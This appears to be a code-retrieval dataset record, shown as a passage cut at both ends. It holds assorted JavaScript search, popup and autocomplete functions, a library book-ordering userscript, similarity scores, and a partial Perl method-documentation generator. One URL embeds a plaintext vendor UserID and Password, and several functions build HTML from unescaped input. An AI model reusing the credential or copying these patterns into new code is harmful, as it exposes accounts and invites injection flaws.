isbnSearchPattern = /rft\\.isbn=([a-zA-Z0-9\\-]{10,20})\\&/im;\n\t\t\tvar titleSearchPattern = /rft\\.btitle=([a-zA-Z0-9\\-\\+]+)/im;\n\n\t\t\tvar isbn = '';\n\t\t\tvar matches = html.match(isbnSearchPattern);\n\t\t\tif(matches) { isbn = matches[1]; }\n\t\t\t\n\t\t\t\n\t\t\tvar title = 'Just bought another book%21';\n\t\t\tvar matches = html.match(titleSearchPattern);\n\t\t\tif(matches) { \n\t\t\t\ttitle = matches[1].replace(/\\+/g, \" \");\n\t\t\t\t// uc first\n\t\t\t\ttitle = title.toLowerCase().replace(/\\b([a-z])/gi,function(c){return c.toUpperCase()});\n\t\t\t\t// except some words\n\t\t\t\ttitle = title.replace(/(\\s(of|the|an|a|and)\\b)/gi,function(c){return c.toLowerCase()});\n\t\t\t\t\n\t\t\t\ttitle = \"Just bought '\" + title + \"'\";\n\t\t\t}\n\t\t\t\n\t\t\tif(isbn != '') {\n\t\t\t\treturn gmAppend(html, '<a href=\"http://cogulus.com/i/' + escape(isbn) + \n\t\t\t\t\t'\" target=\"_blank\" title=\"Look up on Amazon.com\">' +\n\t\t\t\t\t'<img src=\"https://www.amazon.com/favicon.ico\" border=\"0\" height=\"16\" /></a> ' +\n\t\t\t\t\t'<a href=\"http://twitter.com/share?url=http%3A%2F%2Fcogulus.com%2Fi%2F' +\n\t\t\t\t\tescape(isbn) + '&text=' + escape(title) + '\" class=\"twitter-share-button\" ' +\n\t\t\t\t\t'data-count=\"none\" target=\"_blank\" title=\"Tweet this book purchase!\">Tweet</a>');\n\t\t\t}\n\t\t\t//GM_log('search term: ' + searchterm);\n\t\t\t//return searchterm;\n\n\t\t\t//var searchTerm = gmGetSearchTerm(html);\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t//newcode = '<a href=\"' + this.getPrefix() + escape(searchTerm) + this.getSuffix() +\n\t\t\t//\t'\" target=\"_blank\" class=\"catalogLink\">' + searchTerm + '</a> ' +\n\t\t\t//\t'<!-- img src=\"http://library.williams.edu/gobi/isbn.php?isbn=' +\n\t\t\t//\tescape(searchTerm) + '\" width=\"16\" height=\"16\" align=\"absmiddle\" / -->';\n\t\t\t//return gmReplaceSearchTerm(html, newcode);\n\t\t\t//return html + \" isbn:'\" + isbn + \"' \" + \" title:'\" + title + \"' \"; \n\t\t\treturn html;\n\t\t}\n\t}\n\n\t// Library Note\n\tif(fieldText.indexOf(\"Library Note:\") == 0) return {\n\t\tgetNewCode: function(html) {\n\n\t\t\t// Find the Add Note Link\n\t\t\tvar matches = html.match(/<span[^>]+class=\"NoteLink\".+?<\\/span>/im);\n\t\t\tif(matches) {\n\t\t\t\tvar addLink = matches[0];\n\t\t\t\t//GM_log('addlink ' + addLink);\n\t\t\t\t\n\t\t\t\t// find the id in the function\n\t\t\t\tmatches = addLink.match(/id=(.+?)['&]/);\n\t\t\t\tif(matches) {\n\t\t\t\t\tidString = matches[1];\n\t\t\t\t\t//GM_log('id ' + idString);\n\t\t\t\t\t\n\t\t\t\t\t// find the contained item\n\t\t\t\t\tmatches = addLink.match(/containeditem=(.+?)['&]/);\n\t\t\t\t\tif(matches) {\n\t\t\t\t\t\tcontainedItem = matches[1];\n\t\t\t\t\t\t//GM_log('item ' + containedItem);\n\t\t\t\t\t\n\t\t\t\t\t\t// Change it from saying Add to Reject\n\t\t\t\t\t\tvar label = QuickNoteDefaultOption.substr(0,1).toUpperCase() +\n\t\t\t\t\t\t\tQuickNoteDefaultOption.substr(1).toLowerCase() + \"...\"\n\t\t\t\t\t\taddLink = addLink.replace(\"Add...\", label);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Add the \"save\" command as a SetTimeout - so it runs after the window opens\n\t\t\t\t\t\taddLink = addLink.replace(');\"', '); setTimeout(\\'SendModalDialog(' +\n\t\t\t\t\t\t\t'\\\\\\'librarynotes\\\\\\',\\\\\\'&buttonname=savesubmit' +\n\t\t\t\t\t\t\t'&containeditem=' + containedItem + \n\t\t\t\t\t\t\t'&id=' + idString + '\\\\\\', \\\\\\'\\\\\\')\\',2500);\"');\n\t\t\t\n\t\t\t\t\t\treturn html + ' &nbsp; ' + addLink + '<!-- greasemonkey code -->';\n\t\t\t\t\t\t\n\t\t\t\t\t\t//GM_log('newlink ' + addLink);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\treturn html; // if the link insertion fails\n\t\t\t\n\t\t}\n\t}\n\n\t// Title selected or Shipped to Library\n\tif(fieldText.match(/GobiTween/i)) return {\n\t\tgetNewCode: function(html) {\n\t\t\thtml = gmAnnotateAll(html, 'exported', 'Try PDA via Catalog', 'approval book for series', 'will be shipped automatically');\n\n\t\t\tvar ToFlag = new Array('approval book for series', 'already owned by library', 'owned by library', 'title selected', 'shipped to library', 'library open order', 'exported', '1 Book', '2 Books', '3 Books', '4 Books', '5 Books', 'Books');\n\t\t\t//return gmHighlight(html, ToFlag);\n\t\t\thtml = gmHighlight(html, ToFlag);\n\t\t\t\n\t\t\t\n\t\t\t//'587380440'); StopClick();\" class=\"LinkLook\">books jacket\n\t\t\t// http://contentcafe2.btol.com/ContentCafe/Jacket.aspx?UserID=YBP&Password=Yankee&Return=1&Type=S&Value=9783037641323\n\t\t\t// GetModalDialog('bookjacket','&amp;isbn13=9783865609656'\n\t\t\tvar isbn = html.match(/isbn13=(\\w{13})'/);\n\t\t\tif(isbn != null) {\n\t\t\t\thtml = html.replace(/book\\s+jacket/, 'book jacket<br /><img src=\"http://contentcafe2.btol.com/ContentCafe/Jacket.aspx?UserID=YBP&Password=Yankee&Return=1&Type=M&Value=' + isbn[1] + '\" style=\"max-width:16em\" />');\n\t\t\t}\n\t\t\treturn html;\n\t\t}\n\t}\n\t\n\t// If not matching, return nothing\n\treturn null;\n}", "function openPopupSearch() {\n var value1;\n\tif(arguments.length < 1 ) {\n\t\talert('Javascript error in openPopupSearch, must provide at least 1 argument');\n\t\treturn;\n\t}\n\tif(basePath == null) {\n\t alert('BasePath must be set!');\n\t return;\n\t}\n\tvar url = basePath+arguments[0];\n\t//alert(arguments.length);\n\tfor(var i=1;i<(arguments.length-1); i=i+2) {\n\t // Remove , as they will not search correctly.\n\t value1 = arguments[i+1].replace(/,/,'*'); \n\t\turl += '&filterValue'+arguments[i]+\"=\"+value1;\n\t}\n\turl += '&1=1';\n\twinBRopen(url,'winpops','700','500','yes');\n}", "function ShowFilterWindow(column,elem,strfilter,gridName,strPath,jdbcColumnType,filterAction,prefix)\r\n{\r\n var ie4 = navigator.appName.indexOf(\"Microsoft\") != -1 && parseInt(navigator.appVersion) >= 4;\r\n var posStr;\r\n if (ie4)\r\n {\r\n var offset = ScreenPosIE(elem);\r\n posStr = \"top=\"+offset.top.toString() + \",left=\"+(offset.left-250).toString();\r\n posStr += \",width=300\";\r\n }\r\n else\r\n {\r\n posStr = \"screenY=\"+(window.screenY+100).toString() + \",screenX=\"+(window.screenX+200).toString();\r\n posStr += \",width=550,resizable=yes\";\r\n }\r\n\r\n var search;\r\n if (strfilter == null)\r\n {\r\n search = window.location.search;\r\n }\r\n else\r\n {\r\n search = strfilter;\r\n }\r\n search = encodeURIComponent(search);\r\n\r\n search = \"?\" + \r\n \"&_column=\" + column + \r\n \"&_search=\" + search + \r\n \"&_jdbcColumnType=\" + jdbcColumnType + \r\n \"&_filterAction=\" + filterAction + \r\n \"&_prefix=\" + prefix;\r\n\r\n if (gridName != null && gridName != '')\r\n {\r\n search = search + \"&_grid=\" + gridName;\r\n }\r\n\r\n var w = window.open(strPath + search, \"filter\", posStr+\",height=200,scrollbars=no\");\r\n\r\n if (null != w)\r\n w.focus();\r\n\r\n return false;\r\n}", "function searchEntity(event) {\n\tif ((this.id == 'search_frame_input' && event.keyCode == 13) || // Enter key code\n\t\t(this.id == 'search_frame_image' && event.type == 'click')) {\n\t\t\tvar sQueryId = $('#search_frame_input').val();\n\t\t\twindow.location = \"search.html?query=\" + sQueryId;\n\t}\n}", "function DfoSearchPage(/**string*/ page)\r\n{\r\n\tSeS(\"G_NavigationSearchBox\").DoSearch(page);\r\n\tDfoWait();\r\n}", "function MatchDetail(pid){\r\n var win = window.open(\"match_details.php?q=\" + pid, '_blank');\r\n win.focus();\r\n}", "function query(term) {\n $(\"#SearchBox\").val(term);\n search(term);\n $.pageslide.close();\n }", "function makeSovereignNationSearchAutocomplete(fieldId) { \n\tjQuery(\"#\"+fieldId).autocomplete({\n\t\tsource: function (request, response) {\n\t\t\t$.ajax({\n\t\t\t\turl: \"/localities/component/search.cfc\",\n\t\t\t\tdata: { term: request.term, method: 'getSovereignNationAutocomplete' },\n\t\t\t\tdataType: 'json',\n\t\t\t\tsuccess : function (data) { response(data); },\n\t\t\t\terror : function (jqXHR, textStatus, error) {\n\t\t\t\t\thandleFail(jqXHR,textStatus,error,\"making a sovereign nation search autocomplete\");\n\t\t\t\t}\n\t\t\t})\n\t\t},\n\t\tselect: function (event, result) {\n\t\t\tevent.preventDefault();\n\t\t\t$('#'+fieldId).val(\"=\" + result.item.value);\n\t\t},\n\t\tminLength: 3\n\t}).autocomplete( \"instance\" )._renderItem = function( ul, item ) {\n\t\treturn $(\"<li>\").append( \"<span>\" + item.value + \" \" + item.meta +\"</span>\").appendTo( ul );\n\t};\n}", "function gLyphsCreateExperimentExpressFilterWidget() {\n var g1 = document.createElementNS(svgNS,'g');\n\n var rect = g1.appendChild(document.createElementNS(svgNS,'rect'));\n if(!current_region.exportSVGconfig) {\n g1.setAttributeNS(null, \"onclick\", \"gLyphsToggleExpressionSubpanel('filter');\");\n g1.setAttributeNS(null, \"onmouseover\", \"eedbMessageTooltip(\\\"filter experiments\\\",90);\");\n g1.setAttributeNS(null, \"onmouseout\", \"eedbClearSearchTooltip();\");\n }\n \n rect.setAttributeNS(null, 'x', '0px');\n rect.setAttributeNS(null, 'y', '0px');\n rect.setAttributeNS(null, 'width', '25px');\n rect.setAttributeNS(null, 'height', '11px');\n rect.setAttributeNS(null, 'fill', 'rgb(240,240,255)');\n rect.setAttributeNS(null, 'stroke', 'rgb(100,100,100)');\n \n var txt1 = g1.appendChild(document.createElementNS(svgNS,'text'));\n txt1.setAttributeNS(null, 'x', '3px');\n txt1.setAttributeNS(null, 'y', '9px');\n txt1.setAttributeNS(null, \"font-size\",\"10px\");\n txt1.setAttributeNS(null, \"font-family\", 'arial,helvetica,sans-serif');\n txt1.setAttributeNS(null, \"font-weight\", 'bold');\n txt1.setAttributeNS(null, 'style', 'fill: gray;');\n txt1.appendChild(document.createTextNode(\"FLT\"));\n return g1;\n}", "search() {\n let self = this;\n let inputField = self.getEl('search_field');\n window.location = window.location.origin + `/search/${inputField.value}`;\n }", "function suggestFilter(msg, arg){\r\n\t\tstate = 3;\r\n\t\thasTheWord = arg;\r\n\t\topenPanel(msg);\r\n\t}", "function searchFor(what){\n\tdocument.forms['searchForm'].elements['search'].value=what; // In case called from elsewhere we fill in the search field for referencing back to it.\n\tgo.click(); // this functionality is in bclp_ext_tabs.js as it is all done as part of the tabs object. It's the handler part of Ext.widget with id 'go'\n}", "function suche4 (id){\nkonvertiert4 = escape(document.ordbogform.texto.value);\nwindow.open(id+ konvertiert4,'_blank');}", "function showProducts(objTextBox, objLabel, objHiddens)\r\n{\r\n objProductInvokerTextBox = objTextBox;\r\n objProductInvokerLabel = objLabel;\r\n objProductInvokerHidden = objHiddens;\r\n \r\n openModalDialog('../popup/cm_products_search_listing.htm',screen.width-50,'400');\r\n \r\n return;\r\n}", "function ShowSearchResultsWindow() {\n var newWindow = window.open(\"about:blank\", \"searchValue\", \"width=500, height=300, resizable=yes, maximizable=no, status=yes, scrollbars=yes\");\n newWindow.document.write('<html>\\n<head>\\n<title>Search Results</title>\\n');\n newWindow.document.write('</head>\\n');\n newWindow.document.write('<body>\\n');\n\n //Fill SearchResults List\n for(var i=0;((i<SearchResults.length) && (i<500));i++) {\n //Search Topic Title\n var aTitle = SearchTitles[SearchResults[i]];\n //URL\n var aURL = SearchFiles[SearchResults[i]];\n\n newWindow.document.write('<p>Title: '+ aTitle +'<br>\\n');\n newWindow.document.write('URL: <a href=\"'+ aURL +'\">'+aURL+'</a></p>\\n');\n }\n\n newWindow.document.write(\"</body>\\n\");\n newWindow.document.write(\"</html>\\n\");\n newWindow.document.close();\n// self.name = \"main\";\n}", "function openSearch() {\n // shows all levels - we want to show all the spaces for smaller screens\n showAllLevels();\n\n classie.add(spacesListEl, 'spaces-list--open');\n classie.add(containerEl, 'container--overflow');\n }", "function enterDOI ( )\n {\n\tvar doi_value = edit_record['doi'] || '';\n\tsetInnerHTML('dar_doi', '<td><input type=\"text\" name=\"doi\" size=\"60\" value=\"' +\n\t\t doi_value + '\">');\n }", "function clickSearchBox(object){\n let searchText = document.querySelector(\".form-inline input[type='text']\").value;\n document.location = page.RESULT + '?searchWords='+searchText.toLowerCase();\n}", "function openInNewWindow (event) {\r\n\r\n var code = event.keyCode ? event.keyCode : event.which;\r\n var char = String.fromCharCode(code);\r\n \r\n if (char == 'v') {\r\n \r\n var currEntry = getNode('current-entry');\r\n \r\n if (!currEntry) return;\r\n \r\n currEntryHREF = document.evaluate(\r\n \"//div[@id='current-entry']//a[@href]\",\r\n document,\r\n null,\r\n XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE,\r\n null);\r\n \r\n window.open (currEntryHREF.snapshotItem(0).href, 'target=newWin');\r\n\r\n }\r\n\r\n}", "function openSearchForm() {\n spaceList.innerHTML = '';\n selectionHeading.innerText = '';\n searchWindow.classList.toggle('show');\n}", "function displaySearchField() {\n clearElements();\n const searchField = document.getElementById(\"search-field\");\n const template = document.getElementById(\"search-template\");\n const inputField = template.content.cloneNode(true);\n const btn = inputField.getElementById(\"submit-search-btn\");\n btn.addEventListener(\"click\", () => fetchOneItem());\n searchField.append(inputField);\n}", "function setQuery(evt) {\n if (evt.keyCode == 13) {\n getResults(searchBox.value);\n }\n}", "function showKeywordDialog(objectId) {\n o2.popupDialog.display(\"keywordDialog\");\n document.getElementById(\"keywordDialogIframe\").src = o2.urlMod.urlMod({\n setClass : \"Keyword-KeywordEditor\",\n setMethod : \"init\",\n setParams : \"objectId=\" + objectId\n });\n}", "function searchOne()\n{\n\ttry{\n \n keyword = $('input[name=advanced_search_keyword]').val();\n\t\tkeyword = encodeURIComponent(keyword);\n\t\twindow.keyword = '\"'+keyword+'\"';\n\t\twindow.page =1;\n\n\t if(getUrlVars()['page'] != undefined){\n\t\t window.page = getUrlVars()['page'];\n\t }\n \n\t\twindow.filters= new Array();\n\t\tajaxSearch();\n\t\treturn false;\n\t}\n\tcatch(e)\n\t{\n\t\talert(e);\n\t}\n}", "function newSearch(domain) {\n window.domain = domain;\n\n $(\"#currentDomain\").text(window.domain);\n $(\"#completeSearch\").attr(\"href\", \"https://emailhunter.co/search/\" + window.domain + \"?utm_source=chrome_extension&utm_medium=extension&utm_campaign=extension&utm_content=browser_popup\");\n $(\".loader\").show();\n $(\"#resultsNumber\").text(\"\");\n\n $(\".result\").remove();\n $(\".see_more\").remove();\n\n launchSearch();\n}", "function handleWebSearch() {\n\n moviesList.on(\"click\", \".movie__title\", function(e) {\n var movieTitle = $(e.currentTarget).text();\n window.open( \"https://www.google.com/search?q=\" + encodeURIComponent(movieTitle) + \" \" + encodeURIComponent(config.searchSufix) );\n });\n }", "function fnViewMapping(clauseSeqNo,VersionNo,SecSeqNo,SubSecSeqNo)\n{\t\n\tvar OrderKey=document.forms[0].hdnOrderKey.value;\n\n\twindow.open(\"showAppendix.do?method=viewMapping&subSecSeqNo=\"+SubSecSeqNo+\"&orderKey=\"+OrderKey+\"&secSeqNo=\"+SecSeqNo+\"&clauseSeqNo=\"+clauseSeqNo+\"&versionNo=\"+VersionNo+\"\",'ViewMapping','location=0,resizable=No ,status=0,scrollbars=1,WIDTH=850,height=600');\n\n}", "function moreSearch(){\r\n\r\n\tvar str;\r\n\r\n\tif(document.getElementById('s').value == \"\"){\r\n\t\talert(\"Please enter a product name, company or keyword\");\r\n\t\treturn false;\r\n\t}\r\n\telse {\r\n \t\t\t\r\n\t str = escape(document.getElementById('s').value);\t\r\n\t searchStr = document.getElementById('s').value;\r\n\t //alert(\"searchStr :\"+searchStr);\r\n\t featureListPopulate();\r\n\t \r\n\r\n\t\t\r\n\t\tvar url = showTimeUrl+'?q='+str;\t\r\n\t\tdocument.searchform1.action =url ;\r\n\t\ttextNew = 'true';\r\n\t\t\r\n\t\tdocument.getElementById('txtHidden1').value = param;\r\n\t\tdocument.getElementById('featureList1').value = featureListString ;\r\n\t\tdocument.searchform1.submit();\t\r\n\t}\r\n\r\n}", "function openNamedSearchWindow(url, name)\n{\n if (useExternalBrowser && DQSDLauncher)\n {\n try\n {\n DQSDLauncher.OpenDocument(url);\n }\n catch(e)\n {\n // E_FAIL is expected when Mozilla 0.9.x is \n // configured as the default browser. There's a bug in \n // the Mozilla code that causes it to return an error return code\n if(e.number != E_FAIL)\n {\n throw e; // Re-throw all other errors\n }\n }\n }\n else if (typeof windowOpenFeatures != \"undefined\") {\n window.open(url, name, windowOpenFeatures);\n } else {\n window.open(url, name);\n }\n}", "function suggSelect(p) {\n document.getElementById(\"search\").value = document.getElementById(\n \"sugg\" + p + \"Field\"\n ).innerHTML;\n selectedIndex = p;\n document.getElementById(\"suggField\").style.display = \"none\";\n}", "onInputFieldChange(eventObject) {\n let inputField = eventObject.target;\n /* If there is any contents of the input box, display the markdown preview and populate it. */\n if (inputField.value.length > 0) {\n this.previewElement.style.display = \"block\";\n let previewContents = this.previewElement.querySelector(\".at_preview_contents\");\n previewContents.innerHTML = SnuOwnd.getParser().render(inputField.value);\n }\n else {\n this.previewElement.style.display = \"none\";\n }\n }", "function addOpenStepListener(pipeline, formFields) {\n $(\"#pipeline-visual-editor\").on('click', \".open-editor\", function(){\n openEditor(pipeline, $( this ).attr('data-action-id'), formFields);\n });\n}", "function searchBrg(title,content,ev)\n{\n\twidth='500';\n\theight='400';\n\tshowDialog1(title,content,width,height,ev);\n\t//alert('asdasd');\n}", "function setKeywordAndSearch(key)\n{\n $('input[name=advanced_search_keyword]').val(key);\n window.keyword = keyword;\n window.keyword = '\"'+keyword+'\"';\n //searchOne();\n window.location=\"/blocks/openscout/search.php?search_keyword=\"+key;\n //window.location=\"/blocks/openscout/search.php#page=1&search_keyword=\"+encodeURIComponent('\"'+key+'\"');\n}", "function onClickHandler(info, tab) {\r\n var sText = info.selectionText;\r\n\r\n //if raw selectionText search\r\n if (info.menuItemId == \"raw\") {\r\n var url = 'http://jira.motionsoft.com:8080/issues/?jql=text%20~%20\"' + encodeURIComponent(sText) + '\"';\r\n window.open(url, '_blank');\r\n }\r\n //if custom selctionText search **chris' parameters\r\n else if (info.menuItemId == \"custom\") {\r\n var url = 'http://jira.motionsoft.com:8080/issues/?jql=text%20~%20\"' + encodeURIComponent(sText) + '\"%20ORDER%20BY%20created%20DESC';\r\n window.open(url, '_blank');\r\n }\r\n //if jumping directly to selected JIRA ticket number\r\n else if (info.menuItemId == \"direct\") {\r\n //if only the JIRA case number is highligted\r\n if (!isNaN(sText)) {\r\n var url = 'http://jira.motionsoft.com:8080/browse/MOSO-' + sText\r\n window.open(url, '_blank');\r\n }\r\n else {\r\n //if the MOSO-n is also selected, take just the numeric portion\r\n var url = 'http://jira.motionsoft.com:8080/browse/' + sText\r\n window.open(url, '_blank');\r\n }\r\n }\r\n}", "function makeSovereignNationAutocomplete(fieldId) { \n\tjQuery(\"#\"+fieldId).autocomplete({\n\t\tsource: function (request, response) {\n\t\t\t$.ajax({\n\t\t\t\turl: \"/localities/component/search.cfc\",\n\t\t\t\tdata: { term: request.term, method: 'getSovereignNationAutocomplete' },\n\t\t\t\tdataType: 'json',\n\t\t\t\tsuccess : function (data) { response(data); },\n\t\t\t\terror : function (jqXHR, textStatus, error) {\n\t\t\t\t\thandleFail(jqXHR,textStatus,error,\"making a sovereign nation autocomplete\");\n\t\t\t\t}\n\t\t\t})\n\t\t},\n\t\tselect: function (event, result) {\n\t\t\tevent.preventDefault();\n\t\t\t$('#'+fieldId).val(result.item.value);\n\t\t},\n\t\tminLength: 3\n\t}).autocomplete( \"instance\" )._renderItem = function( ul, item ) {\n\t\treturn $(\"<li>\").append( \"<span>\" + item.value + \"</span>\").appendTo( ul );\n\t};\n}", "hightlightInPdf(term) {\n var win = document.getElementById('pdfviewer').contentWindow;\n\n win.PDFViewerApplication.findBar.open();\n $(win.PDFViewerApplication.findBar.findField).val(term);\n\n var event = document.createEvent('CustomEvent');\n event.initCustomEvent('findagain', true, true, {\n query: term,\n caseSensitive: $(\"#findMatchCase\").prop('checked'),\n highlightAll: $(\"#findHighlightAll\").prop('checked', true),\n findPrevious: undefined\n });\n\n win.PDFViewerApplication.findBar.dispatchEvent(event);\n\n return event;\n }", "function addJIRASearchField(propertyBox, ticketId) {\n var jiraSearchLinkContainer = document.createElement('div');\n jiraSearchLinkContainer.appendChild(getJiraSearchLink('Linked Issues', ticketId));\n var jiraSearchItems = [jiraSearchLinkContainer];\n generateFormField(propertyBox, 'lesa-ui-jirasearch', 'JIRA Search', jiraSearchItems);\n}", "function _event_contact_person_title(e){\n try{\n var job_quote_status_win = Ti.UI.createWindow({\n url:self.get_file_path('url','base/select_unique_code_from_table_view.js'),\n win_title:'Select Title',\n table_name:'my_salutation_code',//table name\n display_name:'name',//need to shwo field\n content:e.row.contact_person_title_id,\n content_value:e.row.person_title,\n source:'edit_client_contact'\n });\n Titanium.UI.currentTab.open(job_quote_status_win,{\n animated:(self.is_ios_7_plus() && !self.set_animated_for_ios7)?false:true\n });\n }catch(err){\n self.process_simple_error_message(err,window_source+' - _event_contact_person_title');\n return;\n } \n }", "function setQuery(e) {\n if (e.keyCode == 13) {\n getResults(searchBox.value);\n }\n}", "function calendarPicker(strField, defdate)\n{\n\twindow.open('Modules/DatePicker.aspx?defdate=' + defdate + '&field=' + strField,'calendarPopup','width=190,height=146,resizable=no');\n}", "function ShowOrdrSearch() {\n if (isNullOrWhiteSpace(txtCardCode.GetText())) {\n alert(\"Seleccionar un cliente para realizar esta operación.\");\n }\n else if (!isNullOrWhiteSpace(txtDocEntry.GetText())) {\n alert(\"Crear nuevo documento de venta.\");\n }\n else {\n dteorDateIn.SetDate(new Date());\n dteorDateFi.SetDate(new Date());\n txtorDocNum.SetText(\"\");\n ppcOrdrSearch.Show();\n }\n}", "function showAdvancedSearchTab()\r\n{\r\n\r\n\tvar open=getTabIndexByTitle('Advanced Search');\r\n\tif (open<0)// if the tab is not open yet\r\n\t{\t\r\n\t\tvar aTab= createAdvSearchTab('tabPanel','Advanced Search', true);\r\n\t}\r\n\telse\r\n\t{\r\n\t\t\tshowTab('tabPanel',open[1]);\r\n\t}\r\n}", "function searchMainWindow() {\n\tvar query = document.getElementById(\"searchinput\").value;\n\tsearch(query, 0);\n}", "function newFilterTextField() {\n var filter = new Coral.Textfield();\n filter.classList.add(\"coral-Form-field\");\n filter.placeholder = \"filter\";\n return filter;\n }", "function newSearch(request, response) {\n response.render('pages/searches/new');\n}", "function searchCityForGoogleSugg(custCity, keyCodeInput, panelName) {\r\n keyCode = keyCodeInput;\r\n panelNameToAddCustCity = panelName;\r\n document.getElementById(\"ajaxLoadSrchCustToAddGirviDiv\").style.visibility = \"visible\";\r\n var poststr = \"custCity=\" + encodeURIComponent(custCity) +\r\n \"&panelName=\" + encodeURIComponent(panelName);\r\n search_city_for_panel('include/php/omInputFieldGoogleSuggestion.php', poststr);\r\n}", "function enterSearch() {\n search.keypress(function(e) {\n if (search.val() && e.which === 13) {\n displayWikiEntries();\n // console.log('Length: ' + $('.wikiEntry').length);\n }\n });\n}", "function openItemSearchPop( code_input, w_size, h_size ) { \r\n\r\n\t// popup 창의 input box 표시 data : search code \r\n\tvar code_input = document.getElementById(code_input).value; \r\n\r\n\tif( !(w_size) ) { \r\n\t\tvar w_size = 400; \r\n\t\tvar h_size = 400; \r\n\t} \r\n\t\r\n\tvar service_url = \"service.do?_moon_service=item_search_popup&code_input=\" + code_input; \r\n\tservice_url += \"&_moon_perpage=200&_moon_pagenumber=1\"; \r\n\t\r\n\t// 제품구분 선택시 \r\n\tif( document.frm.selected_itype.value != null && document.frm.selected_itype.value != \"\" ){\r\n\t\tservice_url += \"&itype=\" + document.frm.selected_itype.value;\r\n\t}\r\n\t\r\n\tvar pop_win_style = \"titlebar=no, menubar=no, toolbar=no, status=yes, scrollbars=no, resizable=yes, width=\" + w_size + \", height=\" + h_size + \", top=0, left=0\"; \r\n\tvar newWin = window.open(service_url, \"Code_Search\", pop_win_style); \r\n\tnewWin.focus(); \r\n\t\r\n}", "function webSearch() {\n var selectedText = GetSelectedText();\n if (!selectedText) {\n return;\n }\n let uriText = encodeURI(selectedText);\n let bingSearchCfg = vscode.workspace.getConfiguration(CFG_SECTION);\n const queryTemplate = bingSearchCfg.get(CFG_QUERY);\n let query = queryTemplate.replace(\"%SELECTION%\", uriText);\n vscode.commands.executeCommand(\"vscode.open\", vscode.Uri.parse(query));\n}", "function main(args){\r\n\r\n var selectedItem = args.DOC_REF.selection[0];\r\n var selectionName;\r\n \r\n if (selectedItem.name) {\r\n // Use name\r\n selectionName = selectedItem.name;\r\n }\r\n else {\r\n // Use type because name property is empty\r\n selectionName = selectedItem.typename; \r\n }\r\n \r\n\r\n\r\n var myDialog = sfDialogFactory(mainDialog(selectionName));\r\n \r\n myDialog.show();\r\n}", "function suche (id){\nkonvertiert = encodeURI(document.ordbogform.texto.value);\nwindow.open(id+ konvertiert,'_blank');}" ]
[ "0.68441963", "0.6463543", "0.5998885", "0.5846973", "0.5830578", "0.5717801", "0.5717801", "0.5717801", "0.5644476", "0.5638895", "0.5608091", "0.5567042", "0.55379945", "0.55242723", "0.55219734", "0.5481006", "0.5475833", "0.5475833", "0.5438335", "0.5418618", "0.5418618", "0.5418618", "0.5403389", "0.54019123", "0.5395493", "0.53756636", "0.5374921", "0.537431", "0.53451335", "0.53389907", "0.5333839", "0.53229886", "0.5289602", "0.5277652", "0.5276964", "0.52546555", "0.5250302", "0.5224239", "0.52065945", "0.5200203", "0.5195252", "0.517818", "0.5171857", "0.5163964", "0.51573735", "0.5156168", "0.5150029", "0.5137324", "0.5131948", "0.5131367", "0.5114813", "0.5111887", "0.5099558", "0.50811833", "0.5073495", "0.5071959", "0.50662196", "0.5061835", "0.5058804", "0.50513744", "0.50355285", "0.50325906", "0.50255513", "0.5023289", "0.5021363", "0.5015427", "0.50028133", "0.49831402", "0.49788657", "0.4977736", "0.49748203", "0.49719042", "0.4970991", "0.49639985", "0.4962455", "0.4957803", "0.49532658", "0.49456695", "0.49447092", "0.49446544", "0.49446273", "0.49382907", "0.49365687", "0.4931103", "0.4929038", "0.49207392", "0.4914304", "0.49088132", "0.4901548", "0.4893675", "0.48883617", "0.48874632", "0.48813027", "0.48807713", "0.4876296", "0.48745254", "0.48696142", "0.48682275", "0.48640633", "0.48570693" ]
0.7478002
0
This method creates the code for a subroutine based on the data typed into the Method Generator form.
function GenerateModule(formID) { // Get the method form and the relevant fields. var myForm = document.getElementById(formID); var mySignature = myForm.elements["Signature"].value; var myDescription = myForm.elements["Description"].value; var resultField = myForm.elements["Result"]; // The resulting method code will be stored in the value field. resultField.value = ""; // Insure we have no leading or trailing spaces. while (mySignature.slice(-1) == " ") mySignature = mySignature.slice(0, -1); while (mySignature.substr(0, 1) == " ") mySignature = mySignature.slice(1); // Insure we have a trailing semicolon. if (mySignature.slice(-1) != ";") mySignature += ";"; // We've successfully prettied up the incoming signature. Now we hack off the // trailing semicolon so it doesn't complicate our pattern matching. var residual = mySignature.slice(0, -1); // Function signatures begin with "my" and routine signatures don't, // so our first task is to strip off the return value, if one exists. var returnValue = ""; if (mySignature.substr(0, 2) == "my") { var pieces = mySignature.match(/my\s+([^=]+)\s+=\s+(.*)/i); if (pieces == null) { alert("Invalid signature. Probable cause: missing equal sign or spaces."); } else { returnValue = pieces[1]; residual = pieces[2]; } } // The residual contains the method name, the type (instance or static), and // the parameter list. We start with the parameter list. var parms = "()"; var loc = residual.search(/\(.*\)/); if (loc >= 0) { parms = residual.substr(loc); residual = residual.substr(0, loc); } // The residual now contains the method name and an indication of whether or not it // is an instance or static method. var callType = ""; var methodName = residual; if ((loc = residual.indexOf('->')) >= 0) { callType = "$self"; methodName = residual.slice(loc + 2); } else if ((loc = residual.lastIndexOf('::')) >= 0) { methodName = residual.slice(loc + 2); } // The last thing we need to do is parse the parameter list. First, we strip the parentheses. // We use a bit of searching to find the closing paren, which can be at various // distances from the end, depending. var tail = parms.lastIndexOf(')'); parms = parms.slice(1, tail); // Split the parameters into an array. Note we need special handling to detect // the no-parameters case, because the split in that case returns a singleton array // instead of an empty array. var parmList = new Array(0); if (parms != "") { parmList = parms.split(/\s*,\s*|\s*=>\s*/); } // Now we clean the parameter list, removing the backslash notation. The backslash notation // is used to clarify the fact that a parameter is a reference to a structure, but it is // only valid in the signature itself. for (var i = 0; i < parmList.length; i++) { if (parmList[i].charAt(0) == "\\") { parmList[i] = "$" + parmList[i].slice(2); } } // Now we can start building. var lines = new Array(); // First is the header, the signature, and the description. lines.push("=head3 " + methodName, ""); lines.push(" " + mySignature + "", ""); // We must now break up the description. We allow a maximum of 72 characters per line, but // we keep the user's line breaks. var descriptionLines = myDescription.split(/\n/); // The splitting is accomplished by splitting each line into words. Lines beginning with // spaces are pushed without modification. for (var i = 0; i < descriptionLines.length; i++) { var thisLine = descriptionLines[i]; if (thisLine.search(/^\s/) >= 0) { lines.push(thisLine); } else { var myWords = thisLine.split(/\s+/); var currentLine = ""; for (var j = 0; j < myWords.length; j++) { var myWord = myWords[j]; if 